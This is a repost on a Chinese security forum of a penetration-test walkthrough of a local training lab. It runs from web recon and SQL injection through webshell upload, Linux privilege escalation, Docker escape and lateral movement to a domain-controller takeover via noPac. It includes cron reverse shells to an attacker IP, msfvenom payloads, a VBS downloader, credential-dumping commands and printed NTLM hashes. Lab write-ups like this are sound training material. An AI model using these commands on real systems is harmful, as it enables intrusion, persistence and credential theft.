安全矩阵

 找回密码
 立即注册
搜索
查看: 489|回复: 0

从外网打点到内网漫游-入门级靶场渗透笔从外网打点到内...

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2023-1-22 23:56:15 | 显示全部楼层 |阅读模式



           
  •        


前言打靶场是网安学习必经之路。一般靶场的洞都很简单,并没有太多技术力。但主要是体会这一个过程,将多个零散技术知识点联合起来进行实战演练,很多东西看看总是简单的,上手实践一下就会发现有些小细节还是得注意。
靶场介绍nasa靶场是综合考核学员能力的项目,主要是考核外网打点到渗透内网域控的综合能力。
操作系统包括linux、windows,同存于内网,提供一个公网的web入口点,安全人员对网站/服务器进行综合的渗透测试,最终夺取各个服务器的权限。
涉及代码审计、外网打点、多种漏洞配合拿webshell、linux提权、docker逃逸、内网常见漏洞模块利用、内网漫游、域权限的获取等技术。
通过渗透测试方式,获取五个flag即可
拓扑图拓扑图如下:
编辑
由于靶机都放在本地,在此用个frp进行内网穿透
vps上的frps.ini
[common]bind_port = 7788token=token
本地靶机ubuntu的frpc.ini
[common]server_addr = 150.140.x.xserver_port = 7788token = token[web]type = tcplocal_ip = 127.0.0.1local_port = 80remote_port = 80
这样,访问http://150.140.x.x:80就相当于访问http://192.168.110.173
在这偷个懒,后面就直接打192.168.110.173,打点的时候注意一下就好。
外网打点首先查看界面
编辑
端口扫描先masscan扫一下看看,--rate可以调高以加快速度。
masscan比nmap速度快但准确度低,如果什么都没扫出来可以调低速度多试几次。
masscan -p 1-65535 192.168.110.173  --rate=1000
编辑
再用nmap对扫出的端口进行详细扫描。
nmap -p 80 192.168.110.173 -Pn -sV -oN result.txt#-Pn 目标机禁用ping,绕过ping扫描#-sV 对端口上的服务程序版本进行扫描#-oN 结果导出
编辑

没有太多利用的点,不过该扫还是得扫,常规操作了。
目录扫描接下来就是扫下目录,找个php字典试试
ffuf -u "http://192.168.110.173/FUZZ" -w ./dict.txt -mc 200 -fs 0 -fl 1241# -mc 200 筛选200状态码# -fs 0 排除size为0的记录# -fl 1241 排除line为1241的记录,主要是排除自动跳转到主页/错误页的记录
编辑

看下robots.txt内容
首先是data存在一个目录浏览器,这样整个站的路径就暴露出来了
/data里没啥东西,就存放的一些资源文件,/hook放的一些php文件,其他也基本没啥。
编辑

翻了翻比较有用的就是/admin,得出后台登录界面/admin/webadmin.php
自动漏扫那接下来就是对网站进行测试了,再此之前当然得打开xray,说不定会有好事发生
cmd执行:
xray.exe webscan --listen 127.0.0.1:7777 --html-output nasa.html
burpsuite设置上游
编辑
弱口令爆破打开登录页面,发现登录失败,验证码不变。
编辑

利用这点,就可以进行后台爆破。
接下来就得对该站进行社工来生成密码,网站的域名/标题/公司/邮箱/公司成员信息/部门信息等,反正有多少收集多少来组合字典去爆破。
利用https://api.xiaobaibk.com/lab/guess/这类生成工具生成一下,
编辑
然后扔进去,爆破一下得出密码。
当然我这里是知道密码,才那么快爆破出来的。如果常用的弱口令破不出来,建议先转换其他目标收集更多信息再尝试。
GoogleHacking当然,上面这个弱口令不算。当看到一个CMS第一步要做的,就是Google!
编辑
如果能搜到那直接打!搜不到洞就搜源码,把代码扒下来审。
但如果是新入门,那搜不到相关审计文章就不要继续,因为挖0day真的需要时间+精力+经验。
代码审计已知该CMS有洞,下载个源码审计试试。
初学代码审计最怕的是什么?
1.时间花下去了,什么成果都没有。
2.面对着茫茫多的代码不知从何下手。
在此讲解一个轻松愉快的代码审计流程。
首先,代码审计一般有两个思路:

           
  •         搜危险函数,如system/exec/shell_exec_passthru/eval/file_put_contents/这类去磕,甚至serialize/unserialize去挖反序列化链,也可以搜sql语句来试有没有sql注入。

           
  •         白盒测试,走走网站流程看看有没有能打的点。比如看到上传点,搜下相关代码上传任意文件;看到?id再去翻代码看看有没有sql注入。不断走业务<->看代码循环,这样可以对该CMS的框架有个大致了解。

           
  •        

那新手入门用哪个思路好呢?当然是两个都用啦!
先搜搜看有么有SQL注入,SQL语句相关代码量小,不会像反序列化那样构造链冗长,而且比较容易判断是否存在过滤且能否绕过。
首先搜索mysql/mysqli关键字,得出是用mysqli
编辑

搜个select关键字

当找到sql语句处,第二步就是看该sql语句的参数是否可控。
之前也说,不断走业务看代码循环,虽然很多代码看不懂,但可以了解到哪些目录/哪个文件夹是做什么。
比如之前搜select关键字,会发现大部分代码都在这里,
然后上网站随便点点
编辑


会发现url构造的/user.php?mod=XXX,这个XXX参数就是文件名。

这样,哪怕我没读过代码,不了解他的路由流程,不知道他是怎么执行的,但可以将某个页面和某个PHP文件对应起来。这样代码量一下就少了很多!
接下来就在/module目录下用正则搜输入点:(\$_GET|\$_POST|\$_REQUEST)
编辑
trim()还能绕过,如果是intval()和floatval()的话可以不用看了,基本上没法利用。堪称sql注入毒瘤。
最终能发现,这里有个sql注入点,且基本无过滤。
编辑

而且这个文件是在mobile_index里的,明显,是移动端的形式。

切换成手机模式,然后根据之前猜想的路由规则,访问一下,正确!

sqlmap跑一下,能行。
跑下账户密码
编辑


拿到个MD5,解密一下,nasa123。
代码审计涉及到的知识点多而杂,细讲下去篇幅略长,主要还是得自己上手磨。耐着性子狠下功夫,肯定能出货的。
有了账号密码,就能进入后台继续找洞。
编辑

看了看文件上传的模块,是白名单形式,不好搞。
翻了一圈,什么都没找到,xray倒是扫出个xss,可惜并没有什么用。
编辑
然后找找文件写入,老样子,搜下关键字。
编辑
第一眼看到这个,感觉有门,curl是存在解析漏洞的,一般拿来SSRF。
编辑

但试了很久发现不行。
一般curl去解析http://foo@evil.com,会访问evil.com。
而这里多了个/,http://foo/@evil.com就没法绕过。
然后再找找,发现cms安装代码是将数据库信息组合成字符串再写入到config.php里。
编辑

这显然有利用的办法,那访问下试试
可惜,需要删掉这个文件才行。
找了一圈,没有直截了当的文件写入,只能找找有没有任意文件删除。
在后台把带删除含义的按钮点了个遍,抓到个这个:
编辑

代码在admin/module/db.php,很简单,但这个$_g_dbname是怎么回事?搜了一圈都没找到在哪接收的值。
最后找了一圈,发现在common.php里,将接收到的GET和POST的值加个_g前缀利用extract()添加到变量里。
编辑

抓个包,打一下:
然后来仔细看看代码,
$config = "<?php\n\$pe['db_host'] = '{$_p_db_host}'; //数据库主机地址\n\$pe['db_name'] = '{$_p_db_name}'; //数据库名称\n\$pe['db_user'] = '{$_p_db_user}'; //数据库用户名\n\$pe['db_pw'] = '{$_p_db_pw}'; //数据库密码\n\$pe['db_coding'] = 'utf8';\n\$pe['url_model'] = 'pathinfo_safe'; //url模式,可选项(pathinfo/pathinfo_safe/php)\ndefine('dbpre','{$_p_dbpre}'); //数据库表前缀\n?>";file_put_contents("{$pe['path_root']}config.php", $config);
在这里可以进行闭合然后写入一句话马。
编辑
这样,就成功拿到shell了。
编辑
然后看看禁用的函数,基本没啥禁用,就不用考虑绕过了。
编辑
提权终端看看权限,是www,那么就得提权。
编辑

Linux提权有很多种方式,常用的suid、sudo,脏牛等,去年还出了个脏管道(Dirty-Pipe)。
先用以下命令找一下带suid的文件:
find / -perm -u=s -type f 2>/dev/nullfind . -exec /bin/sh \; -quitfind / -user root -perm -4000-print2>/dev/nullfind / -user root -perm -4000-exec ls -ldb {} \;
编辑
搜出来find,然后到https://gtfobins.github.io/这里查一下
编辑

这里就写了如何利用该文件进行提权的命令。

网站给出的是完整的测试命令,平时使用只需要用第二行即可。
那执行个命令试试。
find . -exec whoami \; -quit
编辑

可见提权成功,接下来生成个MSF的马。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.131 LPORT=6666 -f elf > shell
然后在kali进入msfconsole
use exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.110.131set lport 6666
再到蚁剑终端里执行shell(将点改为index.php是为了避免弹多个session)
find index.php -exec ./shell \; -quit
编辑


提权成功了,但这种形式的root权限并不完整,最好是创建个root用户。然后就是passwd提权的思路:
openssl passwd -1 -salt hack 123456 #生成$1$hack$.JxSX4bOP1WSqH0kCgs9Y.echo 'hack1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/root:/bin/bash' >>/etc/passwd
然后尝试切换用户,但在这里提示su: must be run from a terminal,说明这不是一个可交互终端。
编辑
python -c 'import pty; pty.spawn("/bin/bash")'
生成个交互终端,然后切换用户:
编辑
然后判断一下是不是在docker环境,看看根目录
编辑

也可以用cat /proc/1/cgroup看是否有docker字符串:
docker逃逸接下来进行docker逃逸,目前而言逃逸的办法不多,都得有特定条件,一个一个试过去,不行就弃。
试了半天,特权模式下逃逸可行,猜测docker run时加了--privileged
--privileged:Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
先fdisk -l看看磁盘文件名称:
编辑
mkdir /testmount /dev/sda1 /test #将宿主机的目录挂载到test目录chroot /test #改变根目录为/test
这样就逃逸成功了
编辑
然后再写个反弹shell到定时任务来维持权限:
echo "* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.110.131/4444 0>&1'" >> /var/spool/cron/crontabs/rootecho "* * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.110.131/4444 0>&1'" >> /etc/crontab
设定好监听端口和payload:
set lport 4444set payload cmd/unix/reverse_bash
如果一下弹太多shell容易一下开出多个session,所以定时间隔不要太短。
编辑
session -i 2进一个shell看看
编辑

既然没问题,那用sessions -k 3清理掉多余的sessions,再用sessions -u 2尝试升级下shell。

提示报错了,但也显示sessions开启了。查看下sessions 7试试:

看样子并没有什么问题,所以可能是执行的命令没有得到期望的回调才报错,但实际上shell还是执行成功了。
这样就先拿到第一个flag了。
内网横移内网扫描接下来就是内网篇,首先做个路由转发,用post/multi/manage/autoroute模块。
编辑

值得注意的是,设置好路由转发后MSF模块就可以正常使用,但外部的程序(如nmap)还需要设置个代理。
用auxiliary/server/socks_proxy模块开个代理。

默认是socks5://0.0.0.0:1080。

代理启动后就在/etc/proxychains4.conf中加个socks5 127.0.0.1 1080。
然后用nmap扫一下
proxychains4 nmap -sS -Pn 192.168.110.0/24 -p 445,80
扫出三台机子:
编辑
iis6.0溢出144和197的445端口都打开了,所以第一反应肯定是掏出永恒之蓝试试。
在msf中用windows/smb/ms17_010_eternalblue模块
use windows/smb/ms17_010_eternalblueset pyaload windows/meterpreter/bind_tcp #选择正向shellset rhosts 192.168.110.197
编辑

可惜利用失败,那么就得找点其他办法。
之前nmap扫出来过192.168.110.144的80端口是开启的,去访问看看。
明显是个ISS页面,
编辑

版本查出来是IIS6.0
然后随便找个漏洞库一搜,搜到CVE-2017-7269 IIS 6.0开启Webdav缓存区溢出漏洞
IIS 6.0开启Webdav服务的服务器被爆存在缓存区溢出漏洞导致远程代码随意执行,目前针对Windows Server 2003 R2 可以稳定利用。
粗略的看了一下是可行的,那接下来搜搜有没有现成的POC。
可以在GITHUB、exploit-db或扒漏洞库里的POC,在这里我直接在MSF搜了。
编辑

设置好远程主机就可以直接run了。
windows/iis/iis_webdav_scstoragepathfromurl这个模块试了很久都不行,搜了下似乎是有问题至今未修复。
github上找了个,扔msf里,成功打入。
编辑
后面就是老套路,写个马便于权限维持。
msfvenom -p windows/meterpreter/reverse_tcp lhost=IP lport=7777 -f exe -o s.exe
写个vbs下载脚本
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>download.vbs
cscript downfile.vbs http://IP:8000/s.exe s.exe
然后再使用MS09-020-KB970483-CVE-2009-1535-IIS6这个提权洞进行提权。
编辑

这里发现一些字符有乱码,但是2003又没法用chcp 65001
再次使用chcp 10000,转换为UTF16编码,虽然中文是问号,但英文能正常显示了。
之后拿下第二个flag:
编辑
2003信息收集在最新的msf版本中load mimikatz已经取消了,所以使用kiwi模块
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。
编辑

用hashdump查看密码
Administrator:500:b7a7f6ace75537edb75e0c8d76954a50:42e2656ec24331269f82160ff5962387:::ASPNET:1006:c5f4c32e080b1c0a19f45641a62db986:5643281884dd972acd9b0eaeecd13522:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::IUSR_WWW-79FA760B73D:1000:a1323e561696c32ad68862a8c0118e7e:00dd987a1d0c4540f919b3eb5fc0b1cd:::IWAM_WWW-79FA760B73D:1001:123dec921ecc0ca82f1106015d8abba7:556f2d1b30d88fc35eb8c4d573a5cd14:::SUPPORT_388945a0:1004:aad3b435b51404eeaad3b435b51404ee:f739006531fcc09af8615f9575fa943c:::
以Administrator:500:b7a7f6ace75537edb75e0c8d76954a50:42e2656ec24331269f82160ff5962387:::为例
Administrator:UIDM口令哈希:NTLM口令哈希值
尝试解密,成功解出密码为QWEasd123。当然解不出也没关系。后面也可以直接用。
编辑
ipconfig,发现有两个网卡。
编辑
上传个nbtscan,扫一下
nbtscan -r 10.10.10.0/24
编辑
还是老样子,用post/multi/manage/autoroute模块开个路由转发,这样就能进10.10.10.0/24网段了。
编辑
smb爆破用QWEasd123当密码,使用scanner/smb/smb_login进行批量弱口令测试。
最后发现WIN7这台机子用的相同的密码。
编辑
PTHPTH(pass the hash),即哈希传递攻击。适用于:

           
  •         域/工作组环境

           
  •         可拿hash,但无法爆破

           
  •         内网中存在和当前机器相同的密码

在此使用psexec,psexec的使用有以下几个注意点:

           
  •         需要远程系统开启admin$共享(默认是开启的)

           
  •         因为PsExec连接的原理是基于IPC共享,因此目标需要开放445端口

           
  •         使用IPC$连接目标系统后,再使用psexec无需账户密码

           
  •         在使用PsExec执行远程命令时,会在目标系统中创建一个psexec的服务,命令执行完后,psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程

           
  •         使用PsExec可以直接获得System权限的交互式Shell的前提目标是administrator权限的shell

           
  •         在域环境测试时发现,非域用户无法利用内存中的票据使用PsExec功能,只能依靠账号和密码进行传递

先尝试常规的psexec模块exploit/windows/smb/psexec
编辑

显然不行:
编辑
这个模块没有具体的错误信息,使用impacket包里的试试。
编辑
显然,不满足常规psexec使用条件。
掏出永恒之蓝,用windows/smb/ms17_010_psexec模块
set payload windows/meterpreter/bind_tcpset smbuser WIN7set smbpass QWEasd123set rhosts 10.10.10.142
编辑
成功拿下
编辑
WIN7信息收集老样子,用kiwi收集下信息
load kiwikiwi_cmd sekurlsa::logonPasswords
在加载的时候有个提示:
编辑
想读取哈希也不行。
编辑
前文有讲过:
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。
编辑
所以,需要迁移一下进程。
在此使用自动迁移是行不通的,需要手动一下。
编辑
ps查看进程,随便选一个,比如396。
编辑
然后migrate 396,迁移成功:
编辑
此时再读取一下哈希,加载成功。
这里就显示出了域用户test的明文密码。注意,如果该用户没有登录过,就不会有明文出现。
编辑
同样hashdump一下:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::win7:1000:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::
之后想进shell,发现报错
编辑
想到可能是迁移的进程不太好,于是重新迁移了下。
编辑
这里字符乱码,使用chcp 65001修改cmd编码即可。
编辑
拿下第三个flag
编辑
攻击域控使用net group "domain controllers" /domain查下域控,发现有两个:ad01$和ad02$
编辑

再查主域控,在域环境中,主域控制器会同时被用作时间服务器,所以使用net time /domain查询
经过一番尝试,最后发现CVE-2021-42278/CVE-2021-42287可行,可以十分方便的将域普通用户提权到域管理用户。
https://github.com/Ridter/noPac
proxychains4 python scanner.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140
看来可行
编辑
proxychains4 python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -dc-host AD01 -shell --impersonate administrator
编辑
  • Current ms-DS-MachineAccountQuota = 10
  • Selected Target AD01.nasa.gov
  • will try to impersonat administrator
  • Adding Computer Account "WIN-T6MSDOGTNXQ$"
  • MachineAccount "WIN-T6MSDOGTNXQ$" password = NJul1c8qv)XE
  • Successfully added machine account WIN-T6MSDOGTNXQ$ with password NJul1c8qv)XE.
  • WIN-T6MSDOGTNXQ$ object = CN=WIN-T6MSDOGTNXQ,CN=Computers,DC=nasa,DC=gov
  • WIN-T6MSDOGTNXQ$ sAMAccountName == AD01
  • Saving ticket in AD01.ccache
  • Resting the machine account to WIN-T6MSDOGTNXQ$
  • Restored WIN-T6MSDOGTNXQ$ sAMAccountName to original value
  • Using TGT from cache
  • Impersonating administrator
  •      Requesting S4U2self
  • Saving ticket in administrator.ccache
  • Remove ccache of AD01.nasa.gov
  • Rename ccache with target ...
  • Attempting to del a computer with the name: WIN-T6MSDOGTNXQ$[-] Delete computer WIN-T6MSDOGTNXQ$ Failed! Maybe the current user does not have permission.
  • Pls make sure your choice hostname and the -dc-ip are same machine !!
  • Exploiting..
    反弹了个shell,成功获得权限。
    编辑
    再使用该脚本hashdump一下:
    proxychains4 python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -dc-host AD01 --impersonate administrator -dump
    编辑

    使用以下命令可以只导出Administrator的哈希,在这里不能写成nasa.gov/Administrator,虽然脚本这么显示。
    proxychains4 python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -dc-host AD01 --impersonate administrator -dump -just-dc-user Administrator
    编辑
    nasa.gov\Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090:::
    拿到哈希,后面就是常规PTH了。
    用psexec
    proxychains4 python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.140
    或者使用wmi
    由于Windows默认不会将WMI的操作记录在日志里,同时现在越来越多的杀软将PsExec加入了黑名单,因此WMI比PsExec隐蔽性要更好一些
    proxychains4 python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.140 -codec gbk
    编辑
    第四个flag
    编辑
    同样连接ad02,拿第五个flag
    编辑
    结语到这就告一段落了,中间摸了几个月,最近补完流程,写到后面已经有点疲倦了,只想快点结束。
    主要给出一个大致流程,很多技术还没涉及到,比如权限维持、委派攻击之类的,还有一些细节性的东西也没写,后续打其他靶场再补充吧。
    本文作者:巡璃, 转载请注明来自FreeBuf.COM

  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    小黑屋|安全矩阵

    GMT+8, 2024-4-16 21:43 , Processed in 0.020176 second(s), 18 queries .

    Powered by Discuz! X4.0

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表